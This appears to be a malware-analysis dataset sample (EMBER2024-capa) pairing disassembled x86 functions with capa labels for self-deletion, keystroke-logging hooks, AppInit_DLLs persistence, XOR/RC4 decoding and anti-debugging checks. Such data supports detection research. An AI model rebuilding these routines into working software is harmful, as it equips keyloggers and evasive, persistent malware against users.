joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402470
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebx
push esi
add esp, 0xfffff9f8
mov esi, eax
xor ebx, ebx
mov eax, esi
call fcn.0040241c
cmp al, 1
jne 0x402631
push 1
call sub.kernel32.dll_Sleep
call sub.user32.dll_GetForegroundWindow
call sub.kernel32.dll_GetTickCount
push 4
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_RtlZeroMemory
push 4
lea eax, [esp + 4]
push eax
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_RtlMoveMemory
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_lstrlenA
call sub.kernel32.dll_GetTickCount
push 4
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_RtlZeroMemory
call sub.kernel32.dll_GetTickCount
push 1
call sub.kernel32.dll_Sleep
push esp
push 0x40263c
lea eax, [esp + 0xc]
push eax
call sub.user32.dll_wvsprintfA
push 0x402640
lea eax, [esp + 0x108]
push eax
call sub.kernel32.dll_lstrcpyA
call sub.kernel32.dll_GetTickCount
mov dword [esp], eax
push esp
push 0x40263c
lea eax, [esp + 0xc]
push eax
call sub.user32.dll_wvsprintfA
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x108]
push eax
call sub.kernel32.dll_lstrcatA
push 0x402648
lea eax, [esp + 0x108]
push eax
call sub.kernel32.dll_lstrcatA
lea eax, [esp + 0x104]
call fcn.00402444
cmp al, 1
jne 0x402631
push 0x402650
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcpyA
push 0x40265c
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push 0x402664
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push esi
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push 0x402670
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push esi
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push 0x402688
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push esi
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push 0x402698
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push 0x4026a8
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push 0
push 1
lea eax, [esp + 0x210]
push eax
call sub.kernel32.dll_lstrlenA
mov ecx, eax
lea edx, [esp + 0x210]
lea eax, [esp + 0x10c]
call fcn.00402730
push 0
lea eax, [esp + 0x108]
push eax
call sub.kernel32.dll_WinExec
mov bl, 1
mov eax, ebx
add esp, 0x608
pop esi
pop ebx
ret

Function at 0x402730
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
push 0x80
push ebx
call sub.kernel32.dll_SetFileAttributesA
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push ebx
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4027a4
cmp byte [ebp + 8], 1
jne 0x402782
push 2
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call sub.kernel32.dll_SetFilePointer
jmp 0x402790
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 4]
push eax
push edi
push esi
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8
Function at 0x4027b0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
xor edx, edx
mov dword [ebp - 4], edx
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402817
cmp byte [ebp + 8], 1
jne 0x4027f5
push 2
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call sub.kernel32.dll_SetFilePointer
jmp 0x402803
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 4]
push eax
push edi
push esi
push ebx
call sub.kernel32.dll_ReadFile
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x402824
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, eax
mov ebx, dword [ebp + 8]
push 0x80
push ebx
call sub.kernel32.dll_SetFileAttributesA
push ebx
mov eax, dword [ebp - 4]
push eax
push edi
push esi
call sub.kernel32.dll_WritePrivateProfileStringA
cmp eax, 1
sbb eax, eax
inc eax
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 4

Function at 0x40285c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 4]
push ecx
push edx
push eax
call sub.advapi32.dll_RegCreateKeyA
push ebx
call sub.kernel32.dll_lstrlenA
push eax
push ebx
push 1
push 0
push esi
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegSetValueExA
mov ebx, eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret 4

Function at 0x40289c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, ecx
lea ecx, [ebp - 4]
push ecx
push edx
push eax
call sub.advapi32.dll_RegCreateKeyA
push 4
lea eax, [ebp + 8]
push eax
push 4
push 0
push ebx
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegSetValueExA
mov ebx, eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
pop ebx
pop ecx
pop ebp
ret 4
Function at 0x403330
Capabilities:
Create process on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb8
mov byte [esp + 4], cl
mov esi, edx
mov dword [esp], eax
xor ebx, ebx
lea eax, [esp + 0x26]
push eax
call sub.kernel32.dll_GetLocalTime
lea eax, [esp + 0x36]
push eax
call sub.kernel32.dll_GetLocalTime
lea edx, [esp + 0x36]
mov eax, 0x405a0c
call fcn.004026cc
cmp al, 1
jne 0x40338e
movzx eax, word [esp + 0x28]
movzx edx, word [esp + 0x38]
sub eax, edx
imul eax, eax, 0x1e
movzx edx, word [esp + 0x2c]
movzx ecx, word [esp + 0x3c]
sub edx, ecx
add eax, edx
cdq
xor eax, edx
sub eax, edx
mov edi, eax
jmp 0x403390
mov edi, esi
cmp esi, edi
ja 0x403430
mov eax, 0x405b10
call fcn.00402444
cmp al, 1
jne 0x403430
push 0x403440
call sub.kernel32.dll_LoadLibraryA
mov ebp, eax
test ebp, ebp
jbe 0x403430
push 0x40344c
lea eax, [esp + 9]
push eax
call sub.kernel32.dll_lstrcpyA
mov ecx, 0x403484
lea edx, [esp + 5]
lea eax, [esp + 5]
call fcn.00402244
lea eax, [esp + 5]
push eax
push ebp
call sub.kernel32.dll_GetProcAddress
mov ebp, eax
test ebp, ebp
je 0x403430
push 0
push 0
push 0x405b10
mov eax, dword [esp + 0xc]
push eax
push 0
call ebp
test eax, eax
jne 0x403430
push 0
push 0x405b10
call sub.kernel32.dll_WinExec
cmp byte [esp + 4], 1
jne 0x40342e
push 0x405a0c
mov ecx, 0x403484
mov edx, 0x403488
mov eax, 0x403490
call fcn.00402824
mov bl, 1
cmp esi, edi
jbe 0x403436
mov bl, 1
mov eax, ebx
add esp, 0x48
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4034f8
Capabilities:
Log keystrokes via application hook
Set global application hook

Disassembly:
push 0
push 0x405804
call sub.kernel32.dll_GetModuleHandleA
push eax
push 0x403498
push 2
call sub.user32.dll_SetWindowsHookExA
mov dword [0x405f18], eax
push 0
push 0x405804
call sub.kernel32.dll_GetModuleHandleA
push eax
push 0x4034b8
push 7
call sub.user32.dll_SetWindowsHookExA
mov dword [0x405f1c], eax
push 0
push 0x405804
call sub.kernel32.dll_GetModuleHandleA
push eax
push 0x4034d8
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x405f20], eax
ret
Function at 0x403580
Capabilities:
Persist via appinit_dlls registry key

Disassembly:
push ebx
add esp, 0xfffffe00
mov ebx, esp
push 0x4036a8
push ebx
call sub.kernel32.dll_lstrcpyA
push 0x405e18
push ebx
call sub.kernel32.dll_lstrcatA
push 0x4036b0
push ebx
call sub.kernel32.dll_lstrcatA
push 0x405908
mov ecx, 0x4036c0
mov edx, ebx
mov eax, 0x80000000
call fcn.0040285c
push 0x4036c4
mov ecx, 0x4036d0
mov edx, ebx
mov eax, 0x80000000
call fcn.0040285c
push 0x4036e0
push ebx
call sub.kernel32.dll_lstrcpyA
push 0x405804
mov ecx, 0x405e18
mov edx, ebx
mov eax, 0x80000002
call fcn.0040285c
push 0x403728
push ebx
call sub.kernel32.dll_lstrcpyA
push 0x405804
mov ecx, 0x403760
mov edx, ebx
mov eax, 0x80000002
call fcn.0040285c
push 0x403770
push ebx
call sub.kernel32.dll_lstrcpyA
push 1
mov ecx, 0x4037a8
mov edx, ebx
mov eax, 0x80000002
call fcn.0040289c
push 1
mov ecx, 0x4037b8
mov edx, ebx
mov eax, 0x80000002
call fcn.0040289c
push 0x4037c4
push ebx
call sub.kernel32.dll_lstrcpyA
push 0x403820
lea eax, [esp + 0x104]
push eax
call sub.kernel32.dll_lstrcpyA
push 0x403824
lea eax, [esp + 0x104]
push eax
call sub.kernel32.dll_lstrcatA
push 0x40382c
lea eax, [esp + 0x104]
push eax
call sub.kernel32.dll_lstrcatA
push 0
lea ecx, [esp + 0x104]
mov edx, ebx
mov eax, 0x80000002
call fcn.0040289c
add esp, 0x200
pop ebx
ret

Function at 0x109f62ac
Capabilities:
Encode data using xor

Disassembly:
jmp 0x109f62b6
pushal
call 0x109f62bc
pop ebp
sub ebp, 0x10
sub ebp, 0x9f62ac
mov al, byte [esp + 0x28]
cmp al, 1
je 0x109f62e0
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x109f62e9
mov eax, 0x9f62ac
add eax, ebp
add eax, 0x63
mov ecx, 0x5c1
mov edx, 0x64d7e011
xor byte [eax], dl
inc eax
dec ecx
jne 0x109f6300
jmp 0x109f6313
lcall 0x1111, 0x2d989adc
adc dword [eax + 0x1111e9d0], edx
adc dword [edx], edx
fsubr qword [ecx + 0x11111117]
stosd dword es:[edi], eax
cmp dword [ecx], edx
adc dword [ecx], edx
out 0xf3, al
adc bl, cl
lcall 0x1211, 0x11111d90
aam 0x41
inc ecx
jns 0x109f634a
push cs
xor byte [ecx], dl
jns 0x109f62e0
push edx
outsd dx, dword [esi]
adc dword [eax], edx
cmp eax, 0x6e9d7935
outsb dx, byte [esi]
pop ebx
invalid

Function at 0x408908
Capabilities:
Encode data using xor

Disassembly:
push 0x4085d8
mov edi, dword [esp]
add esp, 4
dec ecx
add esi, ecx
call fcn.00408945
add ecx, 0xee53335d
sub ecx, ecx
xor dword [ebx], edi
inc ebx
add ecx, 0x5a914a65
cmp ebx, eax
jne fcn.00408908
sub esp, 4
mov dword [esp], ecx
mov esi, dword [esp]
add esp, 4
ret
Function at 0x10001ee0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0x38], ecx
push 2
push 0
push 0x10001d80
mov ecx, dword [0x10068248]
call fcn.100260c0
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10001fed
mov byte [ebp - 0x34], 0x45
mov byte [ebp - 0x33], 0x52
mov byte [ebp - 0x32], 0x52
mov byte [ebp - 0x31], 0x4f
mov byte [ebp - 0x30], 0x52
mov byte [ebp - 0x2f], 0x21
mov byte [ebp - 0x2e], 0x20
mov byte [ebp - 0x2d], 0x54
mov byte [ebp - 0x2c], 0x68
mov byte [ebp - 0x2b], 0x72
mov byte [ebp - 0x2a], 0x65
mov byte [ebp - 0x29], 0x61
mov byte [ebp - 0x28], 0x64
mov byte [ebp - 0x27], 0x20
mov byte [ebp - 0x26], 0x63
mov byte [ebp - 0x25], 0x72
mov byte [ebp - 0x24], 0x65
mov byte [ebp - 0x23], 0x61
mov byte [ebp - 0x22], 0x74
mov byte [ebp - 0x21], 0x69
mov byte [ebp - 0x20], 0x6f
mov byte [ebp - 0x1f], 0x6e
mov byte [ebp - 0x1e], 0x20
mov byte [ebp - 0x1d], 0x66
mov byte [ebp - 0x1c], 0x61
mov byte [ebp - 0x1b], 0x69
mov byte [ebp - 0x1a], 0x6c
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x64
mov byte [ebp - 0x17], 0x2c
mov byte [ebp - 0x16], 0x20
mov byte [ebp - 0x15], 0x54
mov byte [ebp - 0x14], 0x68
mov byte [ebp - 0x13], 0x72
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x61
mov byte [ebp - 0x10], 0x64
mov byte [ebp - 0xf], 0x20
mov byte [ebp - 0xe], 0x43
mov byte [ebp - 0xd], 0x6f
mov byte [ebp - 0xc], 0x64
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 0xa], 0x20
mov byte [ebp - 9], 0x30
mov byte [ebp - 8], 0x78
mov byte [ebp - 7], 0x32
mov byte [ebp - 6], 0x21
mov byte [ebp - 5], 0
mov ecx, dword [0x10067828]
call fcn.100014a0
push eax
push 0
lea eax, [ebp - 0x34]
push eax
push 0
lea ecx, [ebp - 0x34]
push ecx
mov ecx, dword [0x1006782c]
call fcn.10014a50
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x10003240
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 5
mov dword [ebp - 8], 0
jmp 0x10003262
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x33
jge 0x100032a1
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx + 0x779227d4]
xor edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, 0x800000ff
jns 0x1000329c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 4], edx
jmp 0x10003259
mov eax, dword [ebp - 0xc]
mov byte [eax + 0x33], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4
Function at 0x100032c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 7
mov dword [ebp - 8], 0
jmp 0x100032e2
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x2b
jge 0x10003321
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx - 0x6fff3f68]
xor edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, 0x800000ff
jns 0x1000331c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 4], edx
jmp 0x100032d9
mov eax, dword [ebp - 0xc]
mov byte [eax + 0x2b], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x10003340
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0x16
mov dword [ebp - 8], 0
jmp 0x10003362
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x2b
jge 0x100033a1
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx - 0x5d1e2afe]
xor edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, 0x800000ff
jns 0x1000339c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 4], edx
jmp 0x10003359
mov eax, dword [ebp - 0xc]
mov byte [eax + 0x2b], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4
Function at 0x10003ab0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f4
mov dword [ebp - 0x2f4], ecx
mov dword [ebp - 0x2d0], 0
push 0x2c8
push 0
lea eax, [ebp - 0x2cc]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
mov dword [ebp - 0x2d0], 0x10010
lea ecx, [ebp - 0x2d0]
push ecx
push 0xfffffffffffffffe
mov edx, dword [0x10067824]
mov eax, dword [edx + 0x10]
call eax
test eax, eax
je 0x10003c2a
cmp dword [ebp - 0x2cc], 0
jne 0x10003b36
cmp dword [ebp - 0x2c8], 0
jne 0x10003b36
cmp dword [ebp - 0x2c4], 0
jne 0x10003b36
cmp dword [ebp - 0x2c0], 0
jne 0x10003b36
cmp dword [ebp - 0x2b8], 0
je 0x10003c2a
mov byte [ebp - 0x2f0], 0x48
mov byte [ebp - 0x2ef], 0x61
mov byte [ebp - 0x2ee], 0x72
mov byte [ebp - 0x2ed], 0x64
mov byte [ebp - 0x2ec], 0x77
mov byte [ebp - 0x2eb], 0x61
mov byte [ebp - 0x2ea], 0x72
mov byte [ebp - 0x2e9], 0x65
mov byte [ebp - 0x2e8], 0x20
mov byte [ebp - 0x2e7], 0x62
mov byte [ebp - 0x2e6], 0x72
mov byte [ebp - 0x2e5], 0x65
mov byte [ebp - 0x2e4], 0x61
mov byte [ebp - 0x2e3], 0x6b
mov byte [ebp - 0x2e2], 0x70
mov byte [ebp - 0x2e1], 0x6f
mov byte [ebp - 0x2e0], 0x69
mov byte [ebp - 0x2df], 0x6e
mov byte [ebp - 0x2de], 0x74
mov byte [ebp - 0x2dd], 0x20
mov byte [ebp - 0x2dc], 0x64
mov byte [ebp - 0x2db], 0x65
mov byte [ebp - 0x2da], 0x74
mov byte [ebp - 0x2d9], 0x65
mov byte [ebp - 0x2d8], 0x63
mov byte [ebp - 0x2d7], 0x74
mov byte [ebp - 0x2d6], 0x65
mov byte [ebp - 0x2d5], 0x64
mov byte [ebp - 0x2d4], 0
mov ecx, dword [0x10067828]
call fcn.100014a0
push eax
push 0
lea ecx, [ebp - 0x2f0]
push ecx
push 1
lea edx, [ebp - 0x2f0]
push edx
mov ecx, dword [0x1006782c]
call fcn.10014a50
mov esp, ebp
pop ebp
ret

Function at 0x10003c30
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x10067820]
mov ecx, dword [eax]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
movzx eax, word [edx]
cmp eax, 0x5a4d
je 0x10003c51
xor eax, eax
jmp 0x10003c93
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 4]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
cmp dword [eax], 0x4550
je 0x10003c6c
xor eax, eax
jmp 0x10003c93
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x28]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x28]
add ecx, dword [ebp - 4]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
movzx eax, byte [edx]
xor ecx, ecx
cmp eax, 0xcc
sete cl
mov eax, ecx
mov esp, ebp
pop ebp
ret
Function at 0x10003ca0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 0x24], ecx
call fcn.10003c30
test eax, eax
je 0x10003d55
mov byte [ebp - 0x20], 0x45
mov byte [ebp - 0x1f], 0x6e
mov byte [ebp - 0x1e], 0x74
mov byte [ebp - 0x1d], 0x72
mov byte [ebp - 0x1c], 0x79
mov byte [ebp - 0x1b], 0x70
mov byte [ebp - 0x1a], 0x6f
mov byte [ebp - 0x19], 0x69
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x20
mov byte [ebp - 0x15], 0x62
mov byte [ebp - 0x14], 0x72
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x61
mov byte [ebp - 0x11], 0x6b
mov byte [ebp - 0x10], 0x70
mov byte [ebp - 0xf], 0x6f
mov byte [ebp - 0xe], 0x69
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], 0x74
mov byte [ebp - 0xb], 0x20
mov byte [ebp - 0xa], 0x64
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x74
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x63
mov byte [ebp - 5], 0x74
mov byte [ebp - 4], 0x65
mov byte [ebp - 3], 0x64
mov byte [ebp - 2], 0
mov ecx, dword [0x10067828]
call fcn.100014a0
push eax
push 0
lea eax, [ebp - 0x20]
push eax
push 1
lea ecx, [ebp - 0x20]
push ecx
mov ecx, dword [0x1006782c]
call fcn.10014a50
mov esp, ebp
pop ebp
ret
Function at 0x100041d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10041098
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x10]
call fcn.100149e0
mov dword [ebp - 4], 0
mov byte [ebp - 0x3c], 0x44
mov byte [ebp - 0x3b], 0x65
mov byte [ebp - 0x3a], 0x62
mov byte [ebp - 0x39], 0x75
mov byte [ebp - 0x38], 0x67
mov byte [ebp - 0x37], 0x67
mov byte [ebp - 0x36], 0x65
mov byte [ebp - 0x35], 0x72
mov byte [ebp - 0x34], 0x20
mov byte [ebp - 0x33], 0x44
mov byte [ebp - 0x32], 0x65
mov byte [ebp - 0x31], 0x74
mov byte [ebp - 0x30], 0x65
mov byte [ebp - 0x2f], 0x63
mov byte [ebp - 0x2e], 0x74
mov byte [ebp - 0x2d], 0x65
mov byte [ebp - 0x2c], 0x64
mov byte [ebp - 0x2b], 0x3b
mov byte [ebp - 0x2a], 0x20
mov byte [ebp - 0x29], 0x45
mov byte [ebp - 0x28], 0x72
mov byte [ebp - 0x27], 0x72
mov byte [ebp - 0x26], 0x20
mov byte [ebp - 0x25], 0x43
mov byte [ebp - 0x24], 0x6f
mov byte [ebp - 0x23], 0x64
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0x3a
mov byte [ebp - 0x20], 0x20
mov byte [ebp - 0x1f], 0x30
mov byte [ebp - 0x1e], 0x78
mov byte [ebp - 0x1d], 0x39
mov byte [ebp - 0x1c], 0x30
mov byte [ebp - 0x1b], 0x30
mov byte [ebp - 0x1a], 0x30
mov byte [ebp - 0x19], 0x30
mov byte [ebp - 0x18], 0x30
mov byte [ebp - 0x17], 0x30
mov byte [ebp - 0x16], 0x36
mov byte [ebp - 0x15], 0
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x14]
push eax
push 0xffffffffffffffff
mov ecx, dword [0x10067824]
mov edx, dword [ecx + 0x2cc]
call edx
cmp dword [ebp - 0x14], 0
je 0x100042e1
mov ecx, dword [0x10067828]
call fcn.100014a0
push eax
push 0
lea eax, [ebp - 0x3c]
push eax
push 1
lea ecx, [ebp - 0x3c]
push ecx
mov ecx, dword [0x1006782c]
call fcn.10014a50
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.10014a30
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x10004300
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], 0
mov byte [ebp - 2], 0
mov byte [ebp - 1], 0
pushal
mov eax, dword fs:[0xc0]
mov dword [ebp - 8], eax
mov eax, dword fs:[0x30]
mov al, byte [eax + 2]
mov byte [ebp - 2], al
popal
movzx eax, byte [ebp - 2]
test eax, eax
je 0x1000433e
mov eax, 1
jmp 0x1000436b
cmp dword [ebp - 8], 0
je 0x10004369
pushal
mov eax, dword fs:[0x18]
sub eax, 0x2000
mov eax, dword [eax + 0x60]
mov al, byte [eax + 2]
mov byte [ebp - 1], al
popal
movzx ecx, byte [ebp - 1]
test ecx, ecx
je 0x10004369
mov eax, 2
jmp 0x1000436b
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100046c0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [eax + 0x20], 0x20000
mov esp, ebp
pop ebp
ret

Function at 0x100046e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0x1c], ecx
mov byte [ebp - 0x18], 0x25
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x25
mov byte [ebp - 0x15], 0x73
mov byte [ebp - 0x14], 0x25
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0x12], 0x25
mov byte [ebp - 0x11], 0x73
mov byte [ebp - 0x10], 0x25
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xe], 0x25
mov byte [ebp - 0xd], 0x73
mov byte [ebp - 0xc], 0x25
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x25
mov byte [ebp - 9], 0x73
mov byte [ebp - 8], 0x25
mov byte [ebp - 7], 0x73
mov byte [ebp - 6], 0x25
mov byte [ebp - 5], 0x73
mov byte [ebp - 4], 0x25
mov byte [ebp - 3], 0x73
mov byte [ebp - 2], 0
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [0x10067824]
mov edx, dword [ecx + 0x2d0]
call edx
mov esp, ebp
pop ebp
ret

Function at 0x10004760
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100410f8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x14]
call fcn.100149e0
mov dword [ebp - 4], 0
mov byte [ebp - 0x3c], 0x44
mov byte [ebp - 0x3b], 0x65
mov byte [ebp - 0x3a], 0x62
mov byte [ebp - 0x39], 0x75
mov byte [ebp - 0x38], 0x67
mov byte [ebp - 0x37], 0x67
mov byte [ebp - 0x36], 0x65
mov byte [ebp - 0x35], 0x72
mov byte [ebp - 0x34], 0x20
mov byte [ebp - 0x33], 0x44
mov byte [ebp - 0x32], 0x65
mov byte [ebp - 0x31], 0x74
mov byte [ebp - 0x30], 0x65
mov byte [ebp - 0x2f], 0x63
mov byte [ebp - 0x2e], 0x74
mov byte [ebp - 0x2d], 0x65
mov byte [ebp - 0x2c], 0x64
mov byte [ebp - 0x2b], 0x3b
mov byte [ebp - 0x2a], 0x20
mov byte [ebp - 0x29], 0x45
mov byte [ebp - 0x28], 0x72
mov byte [ebp - 0x27], 0x72
mov byte [ebp - 0x26], 0x20
mov byte [ebp - 0x25], 0x43
mov byte [ebp - 0x24], 0x6f
mov byte [ebp - 0x23], 0x64
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0x3a
mov byte [ebp - 0x20], 0x20
mov byte [ebp - 0x1f], 0x30
mov byte [ebp - 0x1e], 0x78
mov byte [ebp - 0x1d], 0x39
mov byte [ebp - 0x1c], 0x30
mov byte [ebp - 0x1b], 0x30
mov byte [ebp - 0x1a], 0x30
mov byte [ebp - 0x19], 0x30
mov byte [ebp - 0x18], 0x30
mov byte [ebp - 0x17], 0x30
mov byte [ebp - 0x16], 0x34
mov byte [ebp - 0x15], 0
mov dword [ebp - 0x10], 0
push 0
push 4
lea eax, [ebp - 0x10]
push eax
push 7
push 0xffffffffffffffff
mov ecx, dword [0x10067824]
mov edx, dword [ecx + 0xd8]
call edx
test eax, eax
jl 0x1000487b
cmp dword [ebp - 0x10], 0
je 0x1000487b
mov ecx, dword [0x10067828]
call fcn.100014a0
push eax
push 0
lea eax, [ebp - 0x3c]
push eax
push 1
lea ecx, [ebp - 0x3c]
push ecx
mov ecx, dword [0x1006782c]
call fcn.10014a50
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.10014a30
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret